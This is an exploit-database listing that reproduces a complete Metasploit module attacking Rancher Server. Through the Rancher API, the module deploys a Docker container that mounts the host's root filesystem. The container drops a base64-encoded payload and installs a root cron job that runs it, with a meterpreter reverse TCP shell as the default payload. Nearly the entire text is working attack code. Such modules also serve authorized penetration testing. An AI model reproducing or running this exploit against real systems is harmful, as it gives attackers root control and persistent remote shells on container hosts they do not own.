Rancher Server Docker Exploit

2017.10.09
Credit: Martin Pizala
Risk: High
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Rancher Server - Docker Exploit', 'Description' => %q( Utilizing Rancher Server, an attacker can create a docker container with the '/' path mounted with read/write permissions on the host server that is running the docker container. As the docker container executes command as uid 0 it is honored by the host operating system allowing the attacker to edit/create files owed by root. This exploit abuses this to creates a cron job in the '/etc/cron.d/' path of the host server. The Docker image should exist on the target system or be a valid image from hub.docker.com. Use `check` with verbose mode to get a list of exploitable Rancher Hosts managed by the target system. ), 'Author' => 'Martin Pizala', # started with dcos_marathon module from Erik Daguerre 'License' => MSF_LICENSE, 'References' => [ 'URL' => 'https://docs.docker.com/engine/security/security/#docker-daemon-attack-surface' ], 'Platform' => 'linux', 'Arch' => [ARCH_X64], 'Payload' => { 'Space' => 65000 }, 'Targets' => [[ 'Linux', {} ]], 'DefaultOptions' => { 'WfsDelay' => 75, 'Payload' => 'linux/x64/meterpreter/reverse_tcp' }, 'DefaultTarget' => 0, 'DisclosureDate' => 'Jul 27, 2017')) register_options( [ Opt::RPORT(8080), OptString.new('TARGETENV', [ true, 'Target Rancher Environment', '1a5' ]), OptString.new('TARGETHOST', [ true, 'Target Rancher Host', '1h1' ]), OptString.new('DOCKERIMAGE', [ true, 'hub.docker.com image to use', 'alpine:latest' ]), OptString.new('CONTAINER_ID', [ false, 'container id you would like']), OptString.new('HttpUsername', [false, 'Rancher API Access Key (Username)']), OptString.new('HttpPassword', [false, 'Rancher API Secret Key (Password)']) ] ) register_advanced_options( [ OptString.new('TARGETURI', [ true, 'Rancher API Path', '/v1/projects' ]), OptInt.new('WAIT_TIMEOUT', [ true, 'Time in seconds to wait for the docker container to deploy', 60 ]) ] ) end def del_container(rancher_container_id, container_id) res = send_request_cgi( 'method' => 'DELETE', 'uri' => normalize_uri(target_uri.path, datastore['TARGETENV'], 'containers', rancher_container_id), 'ctype' => 'application/json', 'headers' => { 'Accept' => 'application/json' } ) return vprint_good('The docker container has been removed.') if res && res.code == 200 print_warning("Manual cleanup of container \"#{container_id}\" is needed on the target.") end def make_container_id return datastore['CONTAINER_ID'] unless datastore['CONTAINER_ID'].nil? rand_text_alpha_lower(8) end def make_cmd(mnt_path, cron_path, payload_path) vprint_status('Creating the docker container command') echo_cron_path = mnt_path + cron_path echo_payload_path = mnt_path + payload_path command = "echo #{Rex::Text.encode_base64(payload.encoded_exe)} | base64 -d > #{echo_payload_path} \&\& chmod +x #{echo_payload_path} \&\& " command << "echo \"PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin\" >> #{echo_cron_path} \&\& " command << "echo \"\" >> #{echo_cron_path} \&\& " command << "echo \"* * * * * root #{payload_path}\" >> #{echo_cron_path}" command end def make_container(mnt_path, cron_path, payload_path, container_id) vprint_status('Setting container json request variables') { 'instanceTriggeredStop' => 'stop', 'startOnCreate' => true, 'networkMode' => 'managed', 'requestedHostId' => datastore['TARGETHOST'], 'type' => 'container', 'dataVolumes' => [ '/:' + mnt_path ], 'imageUuid' => 'docker:' + datastore['DOCKERIMAGE'], 'name' => container_id, 'command' => make_cmd(mnt_path, cron_path, payload_path), 'entryPoint' => %w[sh -c] } end def check res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path), 'ctype' => 'application/json', 'headers' => { 'Accept' => 'application/json' } ) if res.nil? print_error('Failed to connect to the target') return Exploit::CheckCode::Unknown end if res.code == 401 && res.headers.to_json.include?('X-Rancher-Version') print_error('Authorization is required. Provide valid Rancher API Keys.') return Exploit::CheckCode::Detected end if res.code == 200 && res.headers.to_json.include?('X-Rancher-Version') target_found = false target_selected = false environments = JSON.parse(res.body)['data'] environments.each do |e| res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, e['id'], 'hosts'), 'ctype' => 'application/json', 'headers' => { 'Accept' => 'application/json' } ) hosts = JSON.parse(res.body)['data'] hosts.each do |h| target_found = true result = "Rancher Host \"#{h['hostname']}\" (TARGETHOST #{h['id']}) on " result << "Environment \"#{e['name']}\" (TARGETENV #{e['id']}) found" # flag results when this host is targeted via options if datastore['TARGETENV'] == e['id'] && datastore['TARGETHOST'] == h['id'] target_selected = true vprint_good(result + ' %red<-- targeted%clr') else vprint_good(result) end end end if target_found return Exploit::CheckCode::Vulnerable if target_selected print_bad("Your TARGETENV \"#{datastore['TARGETENV']}\" or/and TARGETHOST \"#{datastore['TARGETHOST']}\" is not available") if datastore['VERBOSE'] == false print_bad('Try verbose mode to know what happened.') end vprint_bad('Choose a TARGETHOST and TARGETENV from the results above') return Exploit::CheckCode::Appears else print_bad('No TARGETHOST available') return Exploit::CheckCode::Detected end end Exploit::CheckCode::Safe end def exploit unless check == Exploit::CheckCode::Vulnerable fail_with(Failure::Unknown, 'Failed to connect to the target') end # create required information to create json container information cron_path = '/etc/cron.d/' + rand_text_alpha(8) payload_path = '/tmp/' + rand_text_alpha(8) mnt_path = '/mnt/' + rand_text_alpha(8) container_id = make_container_id # deploy docker container res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, datastore['TARGETENV'], 'containers'), 'ctype' => 'application/json', 'headers' => { 'Accept' => 'application/json' }, 'data' => make_container(mnt_path, cron_path, payload_path, container_id).to_json ) fail_with(Failure::Unknown, 'Failed to create the docker container') unless res && res.code == 201 print_good('The docker container is created, waiting for it to deploy') # cleanup register_files_for_cleanup(cron_path, payload_path) rancher_container_id = JSON.parse(res.body)['id'] deleted_container = false sleep_time = 5 wait_time = datastore['WAIT_TIMEOUT'] vprint_status("Waiting up to #{wait_time} seconds until the docker container stops") while wait_time > 0 sleep(sleep_time) wait_time -= sleep_time res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, datastore['TARGETENV'], 'containers', '?name=' + container_id), 'ctype' => 'application/json', 'headers' => { 'Accept' => 'application/json' } ) next unless res && res.code == 200 && res.body.include?('stopped') vprint_good('The docker container has stopped, now trying to remove it') del_container(rancher_container_id, container_id) deleted_container = true wait_time = 0 end # if container does not deploy, try to remove it and fail out unless deleted_container del_container(rancher_container_id, container_id) fail_with(Failure::Unknown, "The docker container failed to start") end print_status('Waiting for the cron job to run, can take up to 60 seconds') end end


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